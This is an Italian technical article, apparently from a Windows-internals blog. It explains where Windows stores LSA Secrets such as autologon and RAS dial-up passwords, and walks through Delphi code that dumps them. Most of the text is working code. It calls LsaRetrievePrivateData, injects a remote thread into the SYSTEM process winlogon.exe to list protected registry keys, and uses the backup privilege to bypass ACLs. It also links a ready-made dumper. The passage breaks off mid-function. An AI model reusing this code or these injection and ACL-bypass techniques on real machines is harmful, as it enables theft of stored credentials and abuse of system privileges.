|
Devo essere sincero: tra i miei programmi preferiti c'è
Cain&Abel, un programma
freeware (senza sorgente però) per il recupero di password e sniffing di rete;
per il network sniffing utilizza la libreria Open Source
WinpCap. Behh, tra le
tante opzioni c'è anche quella di ottenere gli LSA Secretes: basta selezionare
il Tab "LSA Secrets" premere il pulsante "+" ed ecco comparire una bella
sbrodolata di dati; osservando bene il risultato, si possono trovare
informazioni interessanti: ad esempio il valore DefaultPassword oppure
RasDialParams.... La prima cosa che mi sono chiesto è stata: da dove vengono
queste informazioni? Forse dal registro? Saranno criptate, come ottenerle in
chiaro? Dando un'occhiata all' articolo54 sulla composizione del registro di
Windows si può vedere che nella HKEY_LOCAL_MACHINE c'è il ramo Security che
raccoglie gli elementi inclusi nel file "C:\Windows\System32\Config\Security".
Lanciando regedit.exe da una utenza amministrativa, il ramo HKEY_LOCAL_MACHINE\Security
può essere aperto ma le sue sottochiavi hanno le ACL che consentono l'accesso
solo all'utenza System e quindi non sono esplorabili. Per vedere tutto il
contenuto occorre lanciare regedit con l'utenza Sytem. Per fare questo possiamo
usare l'applicativo descritto nell'articolo
Esegui come
SYSTEM e scaricabile all'indirizzo
ProcessAsSystem. Una volta lanciato regedit.exe con l'utenza System, possiamo finalmente
esplorare completamento l'albero al nodo Security e guardacaso nel ramo
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets troviamo come sottochiavi gli
elementi restituiti da Cain&Abel
A questo punto abbiamo quindi trovato gli LSA Secrets; purtroppo ancora non
siamo in grado di ottenere i valori associati. Aprendo una delle chiavi in
questione abbiamo il seguente contenuto

Ognuna contiene le seguenti sottochiavi:
- CupdTime
- CurrVal
- OldVal
- OupdTime
- SecDesc
Ognuna di esse contiene il solo valore predefinito: il valore del Secret
dovrebbe trovarsi qui dentro; visualizzando il valore predefinito relativo ad
ognuna delle sottochiavi in questione, non si visualizzano i dati restituiti da
Cain&Abel. Del resto è evidente che le informazioni sono criptate.
Un'altra cosa interessante è che alcune delle sottochiavi di Secrets, se
selezionate, restituiscono il seguente messaggio di errore

In particolare si tratta delle sottochiavi seguenti:
- SAC
- SAI
- SCM:{6c736d4F-CBD1-11D0-B3A2-00A0C91E29FE}
L'errore è dovuto al fatto che i nomi in questioni includono anche il
cosidetto "trailing null" ossia un carattere nullo al termine della stringa. Le
api win32 interpretano il carattere nullo (\0) come carattere di terminazione
stringa, mentre le api Native, per la rappresentazione di stringhe, usano il
tipo strutturato UNICODE_STRING che contiene appunto la dimensione della
stringa; quindi nel caso Win32, la stringa termina quando si incontra un \0
mentre nel caso Native la stringa termina quando si raggiunge il numero di
caratteri specificato dal campo che definisce appunto la lunghezza della
stringa. Di conseguenza ad esempio la stringa "ciao\0" in Win32 viene per forza
interpretata come "ciao" mentre in ambito Native viene tranquillamente
interpretata come "ciao\0" includendo quindi anche il \0 come parte della
stringa (mentre nell'ambito Win32 ha solo la funzione di terminatore di
stringa). Le sottochiavi sopra contengono un \0 finale e la loro selezione
all'interno di regedit genera l'errore sopra: infatti è risaputo che regedit.exe
è stato costruito usando le api win32. Questo concetto viene esaminato anche da
Mark Russinovich all'indirizzo
http://www.microsoft.com/technet/sysinternals/information/tipsandtrivia.mspx
nel paragrafo denominato "Hidden Registry Keys" e proprio su questo concetto lo
stesso Mark Russinovich ha creato l'esempio
RegHide . Di
seguito riporto il testo estratto dall'articolo originale
Hidden Registry Keys
A subtle but significant difference between the Win32 API and the Native API (see
Inside the Native API for more information on this largely undocumented
interface) is the way that names are described. In the Win32 API strings are
interpreted as NULL-terminated ANSI (8-bit) or wide character (16-bit) strings.
In the Native API names are counted Unicode (16-bit) strings. While this
distinction is usually not important, it leaves open an interesting situation:
there is a class of names that can be referenced using the Native API, but that
cannot be described using the Win32 API.
How is this possible? The answer is that a name which is a counted Unicode
string can explicitly include NULL characters (0) as part of the name. For
example, "Key\0". To include the NULL at the end the length of the Unicode
string is specified as 4. There is absolutely no way to specify this name using
the Win32 API since if "Key\0" is passed as a name, the API will determine that
the name is "Key" (3 characters in length) because the "\0" indicates the end of
the name.
When a key (or any other object with a name such as a named Event, Semaphore or
Mutex) is created with such a name any applications using the Win32 API will be
unable to open the name, even though they might seem to see it. The program
below, RegHide, illustrates this point. It creates a key called
"HKEY_LOCAL_MACHINE\Software\Sysinternals\Can't touch me!\0" using the Native
API, and inside this key it creates a value. Then the program pauses to give you
an opportunity to see if you can view the value using any Registry editor you
have handy (Regedit, Regedt32 or a third-party Registry editor). Because Regedit
and Regedt32 (and likely an third party Registry editor) use the Win32 API, they
will see the key listed as a child of Sysinternals, but when you try to open the
key you'll get an error. This is because the Registry editor will try to open "Can't
touch me!" without the trailing NULL (which is interpreted as the end of the
string) and won't find this name. After you've verified this exit the program
and this special key will be deleted.
Sul web esiste un ottimo editor di registro (shareware) che consente di
visualizzare, senza bisogno di essere eseguito come System, tutte le sottochiavi
di Secrets ed anche le ultime 3 sopra descritte: si chiama RegDatXP e può essere
scaricato all'indirizzo
http://freenet-homepage.de/h.ulbrich/
Di seguito un esempio di lettura dei Secrets da RegDatXP
Bene, ora che ci siamo impratichiti un pò con la locazione di questi
benedetti LSA Secrets, è arrivato il momento di trovare il modo per estrarre i
valori. La strada che porta alla soluzione passa per il concetto di Private Data
Object: cercando nel Platform SDK si arriva alla seguente pagina che riporto
Private Data Object
A limited number of private data objects are available on each system for the
purpose of storing information in a protected, encrypted, fashion.
Private data objects are provided primarily to support storage of server account
passwords. This is useful for servers that run in a specific account. The
password of the server account is private data that should be secured but is
needed to log the server on.
Private data objects may be general purpose, or they may be one of three
specialized types: local, global, and machine.
Local private data objects can only be read locally from the computer storing
the object. Attempting to read them remotely results in a STATUS_ACCESS_DENIED
error. Local private data objects have key names that begin with the prefix "L$".
In addition to the local private objects you create, the operating system
defines the following local private objects: $machine.acc, SAC, SAI, and SANSC.
Global private data objects are global in the sense that if they are created on
a domain controller, they will be automatically replicated to all domain
controllers in that domain. In other words, each domain controller in that
domain will have access to the values the global private data object contains.
In contrast, global private data objects created on a system that is not a
domain controller, as well as nonglobal private data objects, are not replicated.
Global private data objects have key names beginning with "G$".
Machine private data objects can be accessed only by the operating system. These
objects have key names that begin with "M$".
Note You can set, but you cannot retrieve, machine private data objects.
In addition to these prefixes, the following values also indicate local or
machine objects. These values are supported for backward compatibility and
should not be used when you create new local or machine objects. The key name of
local private data objects may also start with "RasDialParms" or "RasCredentials".
The key name for machine objects may also start with, "NL$" or "_sc_".
Private data objects that are not one of the preceding specialized types use key
names that do not start with a prefix. These objects are not replicated and can
be read either locally or remotely by applications.
Windows NT 4.0 SP3 and earlier: Private information stored using a private data
object is encrypted using a generated system-specific key. The operating system
does not include secure boot, and thus these operating systems have no way to
securely store and later retrieve a cryptographic key. Because of this
limitation, private information cannot truly be considered secure against
sophisticated attacks.
La prima cosa che si può notare è che esistono le seguenti 3 principali
categorie di Private Data Objects
- Local Private Data Object: in generale iniziano con "L$"; altri
esempi includono nomi che iniziano con "RasDialParams" (i cui valori sono
username e password delle varie connessioni RAS presenti sul sistema), "RasCredentials"
- Global Private Data Object: in generale iniziano con "G$"
- Machine Private Data Object: in generale iniziano con "M$"; altri
esempi includono nomi che iniziano con "NL$" o "_SC_"; possono essere
esaminati solo dal sistema operativo. Tra questi rientrano anche quelli
corrispondenti alle 3 chiavi viste in precedenza (SAC, SAI, SCM:{6c736d4F-CBD1-11D0-B3A2-00A0C91E29FE})
che non possono essere aperti da regedit.
A questo punto la domanda che è naturale porsi è la seguente: esiste qualche
api (Win32 o Native, documentata o non documentata) che ci consenta di prelevare
il valore di ogni LSA Secret? La risposta è si: si tratta dell'api
LsaRetrievePrivateData che andiamo ad esaminare
function LsaRetrievePrivateData(
PolicyHandle: Pointer;
const KeyName: UNICODE_STRING;
var PrivateData: PUNICODE_STRING
): Integer; stdcall; external 'advapi32.dll';
- PolicyHandle[input]: handle ad un oggetto Policy; tale handle può ad esempio essere ottenuto tramite l'api LsaOpenPolicy; al termine dei lavori, tale handle deve essere chiuso tramite l'api LsaCloseHandle.
- KeyName[input]: nome dell'LSA Secret di cui ci interessa prelevare il valore; corrisponde al nome della sottochiave della chiave Secrets (come già visto in precedenza).
- PrivateData[output]: puntatore ad una UNICODE_STRING che raccoglie il valore del Secret. L'allocazione di memoria viene effettuata dall'api LsaRetrievePrivateData. Al termine dei lavori la deallocazione di memoria deve essere effettuata tramite l'api LsaFreeMemory.
Behh, decisamente semplice (o almeno relativamente semplice se confrontato con altri contesti). La cosa da fare è esporre quindi una procedura che prende in input il nome di un LSA Secret e restituisce il valore
function RetrieveSecret(KeyName: PAnsiChar; var Secret: string): Boolean;
var
ObjectAttributes: LSA_OBJECT_ATTRIBUTES;
LsaStatus, Status: Integer;
pol: Pointer;
AnsString: ANSI_STRING;
UncString: UNICODE_STRING;
PrivateData: PUNICODE_STRING;
begin
try
Result := False;
AnsString.Buffer := PAnsiChar(KeyName);
AnsString.Length := Length(KeyName);
AnsString.MaximumLength := AnsString.Length;
Status := RtlAnsiStringToUnicodeString(
@UncString,
@AnsString,
True
);
if Status < 0 then
begin
ErrStrNative('RtlAnsiStringToUnicodeString', status);
Exit;
end;
FillChar(ObjectAttributes, SizeOf(ObjectAttributes), #0);
LsaStatus := LsaOpenPolicy(nil, ObjectAttributes, 0, pol);
if LsaStatus < 0 then
begin
ErrStrLsa('LsaOpenPolicy', LsaStatus);
Exit;
end;
LsaStatus := LsaRetrievePrivateData(pol, UncString, PrivateData);
if LsaStatus < 0 then
begin
ErrStrLsa('LsaRetrievePrivateData', LsaStatus);
Exit;
end;
//DumpData: procedura per visualizzare il contenuto di un Buffer
//in stile Hex editor
Secret := DumpData(PrivateData.Buffer, PrivateData.Length);
Result := True;
finally
RtlFreeUnicodeString(@UncString);
if pol <> nil then
LsaClose(pol);
if PrivateData <> nil then
LsaFreeMemory(PrivateData);
end;
end;
Behh, chiaramente ho volontariamente omesso le dichiarazioni delle altre api interessate e soprattutto l'implementazione delle varie procedure di supporto: tutta la pappina sarà inclusa nell'esempio che troverete allegato al termine dell'articolo, quindi no problem. Ora un pò di osservazioni: 1) in corrispondenza dei Secret il cui nome inizia per "_SC_" la LsaRetrievePrivateData restituisce il codice "C0000022" corrispondente all'errore win32 "5" che ha come descrizione la stringa "Accesso negato" 2) in corrispondenza del Secret "NL$KM" la LsaRetrievePrivateData restituisce il codice "C0000022" corrispondente all'errore win32 "5" che ha come descrizione la stringa "Accesso negato" 3) in corrispondenza dei Secret SAC, SAI, SCM:{6c736d4F-CBD1-11D0-B3A2-00A0C91E29FE} la LsaRetrievePrivateData restituisce il codice "C0000034" corrispondente all'errore win32 "2" che ha come descrizione la stringa "Impossibile trovare il file specificato" Nei primi 2 casi si tratta di Machine Data Objects che, come già detto in precedenza sono accessibili solo dal sistema operativo. Nel terzo caso il discorso si ricollega alle problematiche già analizzate in precedenza. Proprio relativamente al terzo caso, visto e considerato che questi elementi contengono un carattere nullo alla fine, nel caso che la LsaRetrievePrivateData restituisca il codice "C0000034", possiamo provare ad aggiungere un carattere nullo al buffer relativo alla UNICODE_STRING: la funzione RetrieveSecret diventa quindi
function RetrieveSecret(KeyName: PAnsiChar; var Secret: string): Boolean;
var
ObjectAttributes: LSA_OBJECT_ATTRIBUTES;
LsaStatus, Status: Integer;
pol: Pointer;
AnsString: ANSI_STRING;
UncString: UNICODE_STRING;
PrivateData: PUNICODE_STRING;
begin
try
Result := False;
AnsString.Buffer := PAnsiChar(KeyName);
AnsString.Length := Length(KeyName);
AnsString.MaximumLength := AnsString.Length;
Status := RtlAnsiStringToUnicodeString(
@UncString,
@AnsString,
True
);
if Status < 0 then
begin
ErrStrNative('RtlAnsiStringToUnicodeString', status);
Exit;
end;
//incremento la MaximumLength per poter aggiungere un trailing null
Inc(UncString.MaximumLength, 2);
FillChar(ObjectAttributes, SizeOf(ObjectAttributes), #0);
LsaStatus := LsaOpenPolicy(nil, ObjectAttributes, 0, pol);
if LsaStatus < 0 then
begin
ErrStrLsa('LsaOpenPolicy', LsaStatus);
Exit;
end;
LsaStatus := LsaRetrievePrivateData(pol, UncString, PrivateData);
if LsaStatus < 0 then
begin
//se non esiste un Lsa Secret col nome in questione
//proviamo ad aggiungere un trailing null al nome
if LsaStatus = Integer($C0000034) then
begin
//proviamo ad aggiungere un trailing null
FillChar((UncString.Buffer + UncString.Length)^, 2, #0);
Inc(UncString.Length, 2);
LsaStatus := LsaRetrievePrivateData(pol, UncString, PrivateData);
if LsaStatus < 0 then
begin
ErrStrLsa('LsaRetrievePrivateData', LsaStatus);
Exit;
end;
end
else
begin
ErrStrLsa('LsaRetrievePrivateData', LsaStatus);
Exit;
end;
end;
Secret := DumpData(PrivateData^.Buffer, PrivateData^.Length);
Result := True;
finally
RtlFreeUnicodeString(@UncString);
if pol <> nil then
LsaClose(pol);
if PrivateData <> nil then
LsaFreeMemory(PrivateData);
end;
end;
Ok, ora ci rimane una sola cosa da fare: fare un programmino che enumera tutti i Secrets disponibili (quindi enumera le chiavi di registro corrispondenti) e per ognuno visualizza il valore corrispondente. Dunque, la cosa non è affatto triviale: abbiamo già visto come l'enumerazione delle chiavi di registro incriminate debba per forza passare attraverso una esecuzione con l'utenza System. Allo stesso tempo, bisogna rendere la procedura più modulare possibile (della serie prendi la procedura, la chiami e via). Uhmm si potrebbe cambiare temporaneamente le ACL sul ramo di registro in questione per poi ripristinarle alla fine; tuttavia tale soluzione ha un piccolo problema: mi fa schifo; il motivo?? Behh, pensiamo a tutte le volte che sviluppiamo un software: si passa attraverso errori di vario tipo ed il risultato finale è il frutto di centinaia di correzioni. Ora: per ogni errore che vado a fare nella procedura di modifica delle ACL su quella parte delicata di registro, c'è un alta probabilità di danneggiare gravemente il sistema. Detto questo, la soluzione migliore è ricorrere al Code Injection: andrò ad eseguire nello spazio di memoria di un processo eseguito con l'utenza System (ad esempio winlogon.exe) la procedura di enumerazione delle chiavi; tale elenco verrà inviato al processo chiamante tramite un Named Pipe, e l'elenco dei valori verrà processato localmente chiamando la procedura RetrieveSecret definita sopra. Prendendo spunto dagli articoli inerenti il Code Injection, mi sono costruito questa funzione che consente l'enumerazione delle sottochiavi di una chiave di registro, nello spazio di memoria di un processo remoto
function RemoteRegEnumKeyEx(PID: Cardinal; //PID del processo remoto
KeyName: PAnsiChar;
NamedPipeName: PAnsiChar;
//valore importante ottenuto dalla funzione remota
var outValue: Cardinal;
//errore riscontrato dalla funzione remota
var codError: Cardinal;
//esecuzione sincrona del thread remoto
synch: Boolean): Boolean;
type
TRemoteRegEnumKeyExData = record
errorcod: Cardinal; //codice di errore rilevato nella funzione remota
output: Cardinal; //risultato significativo nella funzione remota
//Indirizzi delle API usate: elenco puntatori a funzioni;
//N.B. rigorosamente stdcall
//Es. pLoadLibraryA: function(pLibFileName: PAnsiChar): Cardinal; stdcall;
pExitThread: procedure (dwExitCode: Cardinal); stdcall; //API obbligatoria
pGetLastError: function(): Cardinal; stdcall;
//api di interazione col registro di windows
pRegOpenKeyExA: function(
hKey: Cardinal;
lpSubKey: PAnsiChar;
ulOptions: Cardinal;
samDesired: Cardinal;
var phkResult: Cardinal
): Integer; stdcall;
pRegQueryInfoKeyA: function(
hKey: Cardinal;
lpClass: PAnsiChar;
lpcbClass: PCardinal;
lpReserved: Pointer;
lpcSubKeys,
lpcbMaxSubKeyLen,
lpcbMaxClassLen,
lpcValues,
lpcbMaxValueNameLen,
lpcbMaxValueLen,
lpcbSecurityDescriptor: PCardinal;
lpftLastWriteTime: Pointer
): Integer; stdcall;
pRegEnumKeyExA: function(
hKey: Cardinal;
dwIndex: Cardinal;
lpName: PAnsiChar;
lpcbName: PCardinal;
lpReserved: Pointer;
lpClass: PAnsiChar;
lpcbClass: PCardinal;
lpftLastWriteTime: Pointer
): Integer; stdcall;
pRegCloseKey: function(
hKey: Cardinal
): Integer; stdcall;
pCreateFileA: function(
lpFileName: PAnsiChar;
dwDesiredAccess,
dwShareMode: Cardinal;
lpSecurityAttributes: Pointer;
dwCreationDisposition,
dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal
): Cardinal; stdcall;
pWriteFile: function(
hFile: Cardinal;
const Buffer;
//Buffer: Pointer;
nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal;
lpOverlapped: Pointer
): Boolean; stdcall;
pCloseHandle: function(
hnd: Cardinal
): Boolean; stdcall;
//Puntatori a dati; Es. tutte le stringhe vanno messe qui dentro
//Es. pNomeDll: Pointer;
pKeyName: Pointer;
pNamedPipeName: Pointer;
end;
var
hProcess: Cardinal; //handle al processo remoto
RemoteRegEnumKeyExData: TRemoteRegEnumKeyExData;
//indirizzo del record nello spazio di memoria del processo remoto
pRemoteRegEnumKeyExData: Pointer;
//indirizzo della funzione del thread nello spazio di memoria del processo remoto
pRemoteRegEnumKeyExThread: Pointer;
output_value: Cardinal;
error_code: Cardinal;
//indirizzi di base delle dll che ci interessano,
//nello spazio di memoria del processo remoto
hKernel32, hAdvapi32: Cardinal;
FuncAddr: Cardinal;
functionSize, parameterSize: Cardinal;
procedure RemoteRegEnumKeyExThread(lpParameter: pointer); stdcall;
//var
//qui posso definire delle variabili locali
var
hKey: Cardinal;
NumSubKeys: Cardinal;
i: Cardinal;
SubKeyName: array[1..255] of Char;
SubKeyNameSize: Cardinal;
//interazione col named pipe
PipeKeys: Cardinal;
BytesWritten: Cardinal;
sMessage: String;
//
begin
with TRemoteRegEnumKeyExData(lpParameter^) do
begin
//apriamo il named pipe creato dal processo chiamante
PipeKeys := pCreateFileA(pNamedPipeName,
GENERIC_WRITE,
0,
nil,
//CREATE_NEW
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (PipeKeys = INVALID_HANDLE_VALUE) then
begin
errorcod := pGetLastError;
pExitThread(0);
end;
if (pRegOpenKeyExA(
HKEY_LOCAL_MACHINE,
pKeyName,
0,
KEY_READ,
hKey //handle alla chiave aperta
) <> 0) then
begin
errorcod := pGetLastError;
pExitThread(0);
end;
if (pRegQueryInfoKeyA(
hKey,
nil,
nil,
nil,
@NumSubKeys,
nil,
nil,
nil,
nil,
nil,
nil,
nil
) <> 0) then
begin
errorcod := pGetLastError;
pExitThread(0);
end;
for i := 0 to NumSubKeys - 1 do
begin
SubKeyNameSize := 255;
pRegEnumKeyExA(
hKey,
i,
@SubKeyName[1],
@SubKeyNameSize,
nil,
nil,
nil,
nil
);
//scrivo il nome sul Named Pipe
pWriteFile(PipeKeys, SubKeyName, SubKeyNameSize, BytesWritten, nil);
//pWriteFile(PipeKeys, #13#10, 2, BytesWritten, nil);
end;
//scrivo il nome del pipe come stringa di terminazione sul Named Pipe
pWriteFile(PipeKeys, pNamedPipeName^, 18, BytesWritten, nil);
pRegCloseKey(hKey);
pCloseHandle(PipeKeys);
pExitThread(1);
//N.B. chiamare sempre pExitCodeThread per definire il codice
//di uscita del thread
//Es. pExitCodeThread(1) significa successo
// pExitCodeThread(0) significa fallimento
end;
end;
//dealloco la memoria in remoto
function RemoteRegEnumKeyExUnloadData(): Boolean;
begin
Result := False;
with RemoteRegEnumKeyExData do
begin
//chiamo UnloadData su tutti i puntatori a dati inclusi nel record
UnloadData(hProcess, pKeyName);
UnloadData(hProcess, pNamedPipeName);
end;
//deallocazione spazio per il parametro
UnloadData(hProcess, pRemoteRegEnumKeyExData);
//deallocazione spazio per la funzione
UnloadData(hProcess, pRemoteRegEnumKeyExThread);
Result := True;
end;
//definisco i valori dei campi del record e copio i dati in remoto
function RemoteRegEnumKeyExInjectData(): Boolean;
begin
Result := False;
try
//inizializzazione valori campi del record:
with RemoteRegEnumKeyExData do
begin
errorcod := 0;
output := 0;
//determino l'indirizzo di base di caricamento di kernel32.dll
//e advapi32.dll nello spazio di memoria del processo remoto
if not RemoteGetModuleHandle(
hProcess,
'kernel32.dll',
hKernel32
) then
begin
Exit;
end;
if not RemoteGetModuleHandle(
hProcess,
'advapi32.dll',
hAdvapi32
) then
begin
Exit;
end;
//assegno i valori ai puntatori a funzione
//(tramite RemoteGetProcAddress)
if not RemoteGetProcAddress(
hProcess,
hKernel32,
'ExitThread',
FuncAddr
) then
begin
Exit;
end;
pExitThread := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hKernel32,
'GetLastError',
FuncAddr
) then
begin
Exit;
end;
pGetLastError := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hKernel32,
'CreateFileA',
FuncAddr
) then
begin
Exit;
end;
pCreateFileA := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hKernel32,
'WriteFile',
FuncAddr
) then
begin
Exit;
end;
pWriteFile := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hKernel32,
'CloseHandle',
FuncAddr
) then
begin
Exit;
end;
pCloseHandle := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hAdvapi32,
'RegOpenKeyExA',
FuncAddr
) then
begin
Exit;
end;
pRegOpenKeyExA := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hAdvapi32,
'RegQueryInfoKeyA',
FuncAddr
) then
begin
Exit;
end;
pRegQueryInfoKeyA := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hAdvapi32,
'RegEnumKeyExA',
FuncAddr
) then
begin
Exit;
end;
pRegEnumKeyExA := Pointer(FuncAddr);
if not RemoteGetProcAddress(
hProcess,
hAdvapi32,
'RegCloseKey',
FuncAddr
) then
begin
Exit;
end;
pRegCloseKey := Pointer(FuncAddr);
//assegno i valori ai puntatori ai dati (tramite InjectData);
//N.B. se una InjectData ritorna False allora bisogna chiamare Exit
if not InjectData(hProcess,
KeyName,
Length(KeyName),
False,
pKeyName) then
begin
Exit;
end;
if not InjectData(hProcess,
NamedPipeName,
Length(NamedPipeName),
False,
pNamedPipeName) then
begin
Exit;
end;
end;
//copio il parametro
parameterSize := SizeOf(RemoteRegEnumKeyExData);
if not InjectData(hProcess,
@RemoteRegEnumKeyExData,
parameterSize,
False,
pRemoteRegEnumKeyExData) then
begin
Exit;
end;
//copio la funzione
functionSize := SizeOfProc(@RemoteRegEnumKeyExThread);
if not InjectData(hProcess,
@RemoteRegEnumKeyExThread,
functionSize,
True,
pRemoteRegEnumKeyExThread) then
begin
Exit;
end;
Result := True;
finally
if not Result then
begin
RemoteRegEnumKeyExUnloadData;
end;
end;
end;
begin
//inizializzo a zero le variabili locali
hProcess := 0;
pRemoteRegEnumKeyExData := nil;
pRemoteRegEnumKeyExThread := nil;
output_value := 0;
error_code := 0;
try
hProcess := OpenProcessEx(PROCESS_CREATE_THREAD +
PROCESS_QUERY_INFORMATION +
PROCESS_VM_OPERATION +
PROCESS_VM_WRITE +
PROCESS_VM_READ,
False,
PID
);
if hProcess = 0 then
begin
ErrStr('OpenProcess');
Exit;
end;
if not RemoteRegEnumKeyExInjectData() then
Exit;
if not InjectThread(hProcess,
pRemoteRegEnumKeyExThread,
pRemoteRegEnumKeyExData,
output_value,
error_code,
synch) then
Exit;
//output_value e error_code sono stati inizializzati a 0.
//sono stati modificati dalla InjectThread solo se synch = true;
//se synch=false sono rimasti uguali a zero
outvalue := output_value;
codError := error_code;
Result := True;
finally
if synch or (not Result) then
begin
RemoteRegEnumKeyExUnloadData;
end;
if hProcess <> 0 then
begin
if not CloseHandle(hProcess) then
begin
ErrStr('CloseHandle');
end;
end;
end;
end;
Anche in questo caso ho omesso un pò di roba ma nell'esempio allegato finale c'è tutto Come si può vedere, i parametri principali sono i seguenti: - PID[input]: PID del processo nel cui spazio di memoria vogliamo eseguire l'enumerazione delle sottochiavi
- KeyName[input]: nome della chiave (percorso completo relativo a HKLM) di cui si vogliono enumerare le sottochiavi.
- NamedPipeName[input]: nome del Named Pipe su cui verranno scritte i nomi delle sottochiavi della chiave specificata da KeyName: il Named Pipe in questione deve essere creato dal processo chiamante, che si occuperà poi di eliminarlo a lavori terminati.
La cosa importante da sottolineare è che come ultima stringa invio il nome del Named Pipe: in pratica quando andrò a leggere dal Named Pipe, nel momento in cui preleverò una stringa equivalente al nome del Named Pipe allora vorrà dire che l'elenco è terminato. A questo punto ci si può creare una funzione che raccoglie i vari nomi in una TStringList
function GetKeyNames(
ProcName: PAnsiChar;
KeyName: PAnsiChar;
NamedPipeName: PAnsiChar;
ElencoNomi: TStringList
): Boolean;
const
BytesToRead = 1000;
var
FPipeHandle: Cardinal;
success: Boolean;
output: Cardinal;
err: Cardinal;
PID: Cardinal;
FReadMessage: String;
BytesRead: Cardinal;
DataRead: Array[0..BytesToRead] Of Char;
begin
Result := False;
try
FPipeHandle := CreateNamedPipe(
NamedPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT,
1,
8096,
8096,
5000,
nil);
if (FPipeHandle = INVALID_HANDLE_VALUE) then
Exit;
PID := PidProcesso(ProcName);
if not RemoteRegEnumKeyEx(PID, KeyName, NamedPipeName, output, err, True) then
begin
Exit;
end;
//leggo dal pipe
repeat
ReadFile(FPipeHandle, DataRead, BytesToRead, BytesRead, nil);
if (BytesRead <> 0) then
begin
SetString(FReadMessage, DataRead, BytesRead);
ElencoNomi.Add(FReadMessage);
end;
until (FReadMessage = NamedPipeName);
Result := True;
finally
if (FPipeHandle <> INVALID_HANDLE_VALUE) then
begin
DisconnectNamedPipe(FPipeHandle);
CloseHandle(FPipeHandle);
end;
end;
end;
ProcName rappresenta il nome del processo remoto che si vuole usare mentre ElencoNomi raccoglie i nomi delle sottochiavi.
Behh mi pare proprio cha abbiamo tutti i mattoncini necessari. Ho deciso di rendere l'utilizzo il più semplice possibile: in pratica il tutto si riduce alla chiamata ad una funzione alla quale viene passato come parametro un puntatore ad una funzione di callback adeguatamente definita (stessa tecnica usata dalle api win32 per l'enumerazione ad esempio di finestre o altri oggetti). Di seguito un esempio di utilizzo
function GetDataCallBack(
DataType: Cardinal;
Data: Pointer;
DataSize: Cardinal
): Boolean;
begin
case DataType of
1: //nome del Secret
begin
FrmMain.mmoLog.Lines.Add(PAnsiChar(Data));
end;
2: //valore del Secret
begin
FrmMain.mmoLog.Lines.Add(DumpData(Data, DataSize));
FrmMain.mmoLog.Lines.Add(' ');
end;
end;
Result := True;
end;
procedure TFrmMain.btnDumpSecretsClick(Sender: TObject);
begin
mmoLog.Lines.Clear;
GetSecrets(@GetDataCallBack);
end;
Infine i sorgenti e l'eseguibile dell'esempio completo che esegue un Dump degli LSA Secrets LsaSecrets.7z (VCL e KOL) LsaSecrets.exe.7z (relativo alla versione KOL) Implementazione differente della procedura di enumerazione delle sottochiavi di registro (09/09/07) Mi sembra doveroso aggiungere questa nuova implementazione della funzione GetKeyNames esposta in precedenza e che aveva come obiettivo quello di restituire l'elenco dei nomi delle sottochiavi di una chiave di registro accessibile in lettura completa solo dall'utenza System. Questa nuova implementazione si basa sul Privilegio di Backup. Nell'articolo Privilegi Utente viene fatta una panoramica sull'argomento. Ma in cosa consiste il Privilegio di Backup? La sua efficacia è incredibile in quanto un utente che ha questo Privilegio (gli Administrators ed i Backup Operators sono 2 gruppi utente predefiniti i cui utenti godono di questo Privilegio) e ce lo ha abilitato, può effettuare operazioni di lettura su elementi del sistema operativo (file o chiavi di registro) i cui diritti di accesso negano l'accesso in lettura all'utente in questione. In parole povere, se sono un utente e non ho il diritto di accesso in lettura ad un file, se ho il Privilegio di Backup e ce l'ho abilitato, posso tranquillamente copiarmi (eseguire quindi un backup) il file in questione. Nella stessa maniera, se non ho l'accesso in lettura ad una chiave di registro, ma ho il Privilegio di Backup e ce l'ho abilitato, posso tranquillamente copiarmi (eseguire quindi un backup) la chiave in questione (questo significa chiaramente che posso enumerarne le sottochiavi, leggerne i valori e fare in pratica tutto quello che potrei fare se avessi accesso completo in lettura alla chiave). Non importa quali siano le ACL settate, con il Privilegio di Backup abilitato, posso leggere qualsiasi cosa; con il Privilegio di Backup abilitato, i diritti di accesso non vengono presi in considerazione e mi viene garantito l'accesso completo. Il tutto vale naturalmente anche per il restore dei file o delle chiavi di registro (del resto chi esegue un backup lo fa perchè un giorno magari dovrà eseguire un restore del backup in questione) e quindi per i diritti di accesso in scrittura. In parole povere: Privilegio di Backup = accesso totale senza che ti vengano applicate le ACL. Quindi possiamo enumerare le sottochiavi della chiave di registro HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets semplicemente disponendo del Privilegio di Backup. Gli Administrators ed i Backup Operators dispongono di questo privilegio. Tuttavia c'è un qualcosa in più da fare: in pratica l'handle alla chiave che vogliamo leggere, deve essere ottenuto tramite chiamata all'api win32 RegCreateKeyEx passandogli come 5° parametro il valore REG_OPTION_BACKUP_RESTORE (valore $00000004). In questo caso non verrà preso in considerazione il 6° parametro che viene usato per stabilire la modalità di accesso desiderata alla chiave in questione. La combinazione quindi del Privilegio di Backup abilitato e la restituzione di un handle alla chiave tramite la RegCreateKeyEx con la modalità appena descritta, consente di eseguire qualsiasi operazione sulla chiave in questione. Di seguito la funzione che restituisce l'elenco dei nomi delle sottochiavi di una chiave di registro
function RegEnumSubKeys(
RootHandle: Cardinal;
KeyName: PAnsiChar;
BypassACL: Boolean;
Elenco: TStringList
): Boolean;
var
hKey: Cardinal;
NumSubKeys: Cardinal;
i: Cardinal;
SubKeyName: array[1..255] of Char;
SubKeyNameSize: Cardinal;
Disposition: Cardinal;
begin
//
try
if not BypassACL then
begin
if (RegOpenKeyExA(
HKEY_LOCAL_MACHINE, //$80000002
KeyName,
0,
KEY_READ, //$20019
hKey //handle alla chiave aperta
) <> 0) then
begin
ErrStr('RegOpenKeyEx');
Exit;
end;
end
else
begin
//abilito il priviligio di backup
if not ModificaPrivilegio('SeBackupPrivilege', True) then
Exit;
if RegCreateKeyExA(
